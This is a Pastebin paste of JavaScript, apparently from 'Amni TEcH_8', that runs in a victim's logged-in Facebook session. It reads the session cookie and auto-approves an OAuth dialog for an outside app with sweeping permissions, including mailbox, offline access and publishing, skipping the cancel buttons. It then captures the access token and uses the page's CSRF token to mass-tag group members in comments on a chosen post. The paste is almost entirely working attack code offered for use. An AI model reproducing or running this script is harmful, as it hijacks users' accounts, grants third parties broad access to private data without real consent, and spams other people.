Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var post_id = "ايدي المنشور";
- var group_id = "اَيدي الجروب";
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- uygulamaizinver(TokenUrl("2254487659"));
- var profile_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
- function uygulamaizinver(url){
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.onreadystatechange = function () {
- if(xmlhttp.readyState == 4){
- izinverhtml = document.createElement("html");
- izinverhtml.innerHTML = xmlhttp.responseText;
- if(izinverhtml.getElementsByTagName("form").length > 0){
- izinverhtml.innerHTML = izinverhtml.getElementsByTagName("form")[0].outerHTML
- act = izinverhtml.getElementsByTagName("form")[0].action;
- duzenlevegonder(izinverhtml,act);
- }
- }
- };
- xmlhttp.open("GET", url, true);
- xmlhttp.send();
- }
- function duzenlevegonder(formnesne,act){
- izinverparams = "";
- for(i=0;i<formnesne.getElementsByTagName("input").length;i++){
- if(formnesne.getElementsByTagName("input")[i].name.indexOf("__CANCEL__") < 0 && formnesne.getElementsByTagName("input")[i].name.indexOf("cancel_clicked")){
- izinverparams += "&" + formnesne.getElementsByTagName("input")[i].name + "=" + formnesne.getElementsByTagName("input")[i].value;
- }
- }
- if(formnesne.getElementsByTagName("select").length > 0){
- izinverparams += "&" + formnesne.getElementsByTagName("select")[0].name + "=80";
- }
- izinverparams.replace("&fb_dtsg","fb_dtsg");
- izinverparams += "&__CONFIRM__=1";
- formnesne = formnesne;
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.onreadystatechange = function () {
- if(xmlhttp.readyState == 4){
- izinhtml = document.createElement("html");
- izinhtml.innerHTML = xmlhttp.responseText;
- if(izinhtml.getElementsByTagName("form").length > 0){
- izinhtml.innerHTML = izinhtml.getElementsByTagName("form")[0].outerHTML;
- act = izinhtml.getElementsByTagName("form")[0].action;
- duzenlevegonder(izinhtml,act)
- }else{
- sex = xmlhttp.responseText.match(/#access_token=(.*?)&expires_in/i);
- if (sex[1]) {
- tokenyolla(sex[1]);
- }
- }
- }
- };
- xmlhttp.open("POST", act , true);
- xmlhttp.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
- xmlhttp.send(izinverparams);
- }
- function TokenUrl(id){
- return "//www.facebook.com/dialog/oauth?response_type=token&display=popup&client_id=" + id +"&redirect_uri=fbconnect://success&sso_key=com&scope=public_profile,basic_info,read_stream,read_mailbox,read_page_mailboxes,rsvp_event,offline_access,email,read_insights,manage_notifications,read_friendlists,manage_pages,publish_actions,whitelisted_offline_access,user_birthday,user_religion_politics,user_relationships,user_relationship_details,user_hometown,user_location,user_likes,user_activities,user_interests,user_education_history,user_work_history,user_website,user_groups,user_events,user_photos,user_videos,user_friends,user_about_me,user_status";
- }
- if(!localStorage['token_' + profile_id] || (localStorage['token_' + profile_id] && tarih.getTime() >= localStorage['token_' + profile_id])){
- var http = new XMLHttpRequest();
- http['open']('GET', 'https://graph.facebook.com/' + profile_id, false);
- http['send']();
- var get = JSON.parse(http['responseText']);
- var isim = get.name;
- }
- function tokenyolla(access_token){
- var access = access_token;
- var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
- display += "<div style='padding-bottom:5px;font-size:20px;'>Coded By Amni TEcH_8</div>";
- if (i > 0) {
- display += "<div class='friend-edge'>";
- display += "<div style='text-align:center;font-size:13px;red-space:pre-wrap;color:gray'>";
- display += "الرجاء الانتضار قليلا حتى تكتمل العملية و لا تنسو لابك لمدونة امني للمعلوميات.</br>";
- display += "</div>";
- display += "</div>";
- } else {
- display += "<b> Group memmbers is tagging now</b></br>";
- display += "<div><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Stop & Exit</span><br/>";
- display += "<div style='text-align:center;font-size:10px;red-space:pre-wrap;color:gray'><br/>";
- display += "</div>";
- }
- display += "</div>";
- document.getElementById("pagelet_sidebar").innerHTML = display
- function x__0() {
- return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest
- }
- function get_friends() {
- var a = x__0();
- a.open("GET", "https://graph.facebook.com/"+ group_id +"/members?access_token="+ access +"", false);
- a.send(null);
- if (a.readyState == 4) {
- var f = JSON.parse(a.responseText.substring(a.responseText.indexOf("{")));
- return f.data
- }
- return false
- }
- function get_uid(b) {
- var a = x__0();
- a.open("GET", "https://graph.facebook.com/" + user_id , false);
- a.send();
- if (a.readyState == 4) return uid = JSON.parse(a.responseText).id;
- return false
- }
- var patt = /comment_text=(.*?)&/;
- var c = 1;
- username = /\.com\/(.*?)\//.exec(window.top.location)[1];
- uid = get_uid(username);
- a = window.top.location;
- termina = 0;
- var amigos = get_friends();
- uids = "comment_text=";
- header = "ft_ent_identifier=" + post_id + "&comment_text=?&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user=" + uid + "&__a=1&__req=4u&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&phstamp=" + Math.random();
- for (var n = 1; n < amigos.length; n++) {
- fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
- uids += "%40[" + amigos[n].id + "%3AAAAAAAAAAAA]%20";
- c++;
- if (c == 50) {
- uids += "&";
- with(new XMLHttpRequest) open("POST", "/ajax/ufi/add_comment.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(header.replace(patt, uids));
- z = setTimeout("function(){asd=0}", 1E3);
- clearInterval(z);
- c = 1;
- uids = "comment_text="
- }
- }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement